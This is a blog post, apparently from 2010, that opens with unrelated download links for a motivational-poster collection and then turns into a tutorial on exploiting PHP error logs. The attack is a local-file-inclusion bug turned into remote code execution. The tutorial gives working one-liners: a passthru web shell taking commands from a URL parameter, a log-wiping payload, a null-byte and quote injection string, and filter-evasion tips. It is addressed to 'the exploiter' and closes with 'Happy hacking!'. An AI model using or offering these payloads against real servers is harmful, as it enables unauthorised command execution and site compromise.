Here’s my ungodly huge collection of mostly SFW motivators. Click an image to view the next two. Enjoy :)
Download all 816 unfiltered Motivational Posters:
http://rapidshare.com/files/252443240/Motivators.part1.rar

http://rapidshare.com/files/252444323/Motivators.part2.rar

http://www.flickr.com/photos/adrianclarkmbbs/

Introduction.

You probably know requesting a carefully constructed URL can inject code into the log file, which you (or the admin) can run the next time that log is viewed. I’ve seen very popular and semi-commercial apps do this, and even leave the log file open for anyone to view with minimal protection. The goal of this paper is to show you that a php error log is a more viable target than your typical apache log or other common methods of command injection.

Many, if not all, LFI/RCE tutorials out there fail to recognize the potential for injection with PHP’s own error log, which in many cases is more likely to be accessible to the public, or rather the user that Apache is running under. Custom log files will always be within users home folder or a similar area that is usually within open_basedir or safe_mode restrictions, whereas the typical Apache log file is not. Also, there are more than a few scripts that place PHP’s errors or their own inside a web accessible file (such as errors.php) which will give the exploiter a better opportunity to obtain access even faster.

Techniques.

More often than not, however, the log file is generated by php.ini or iniset. In these cases, the log file won’t execute like a PHP script does, and you will need an LFI vulnerability to exploit it. In such cases, you can refer to your typical LFI to RCE for more info, just think of it in terms of injecting PHP code into a PHP error log rather than Apache’s. The beauty here is that people will quite often try to bypass their host’s restrictions by creating their own php.ini with its own error logs pointing to a public directory for easy access. The real key here is filter evasion.

Most of the scripts that log errors have some sort of filter that is usually geared toward XSS prevention, which are fairly easy to bypass with the usual methods. There are some, however, that do nice things like converting special characters to HTML entities (<> to &lt; &gt; for example). If you open the log and see this, you might as well move along

If you find an LFI and an accessible PHP error log, you can exploit it all on one page since you’ll typically see an error for an invalid include.

Examples.

Here are a few useful one liners that you can use.

This will reset the file for you, giving you a blank slate to work with.
<?fclose(fopen('errorlog.php','w'));?>

This is a standard RCE passthru command:
<?passthru($_GET[cmd])?>

Which of course can be used like so:
http://url/errorlog.php?cmd=who

Notice how the spaces are missing, which is helpful when sending requests via telnet or the like. If you put in a space, you’ll end up with broken code since Apache is looking for the protocol like HTTP/1.0. You may find a server with mod_rewrite code to fix this, but it’s pretty rare. If you have problems with getting the page to log the command, you can always try some quoting and null chars like this:

index.php?page=%00'"><?passthru($_GET[cmd])?>

If you happen upon a server with shortags turned off, you can try this:
<?php;phpinfo();?>

A note about security.

Some CMS/Portals use or something similar at the top of their log file to avoid executing anything that gets logged afterward. It is funny, however, how none of the ones I’ve encountered will put it back after the log is manually (or automatically) reset :)

Some of the most secure scripts out there are vulnerable to this attack. Happy hacking!

© 2010 nukeitdotorg Suffusion WordPress theme by Sayontan Sinha

Powered by CDN Rewrites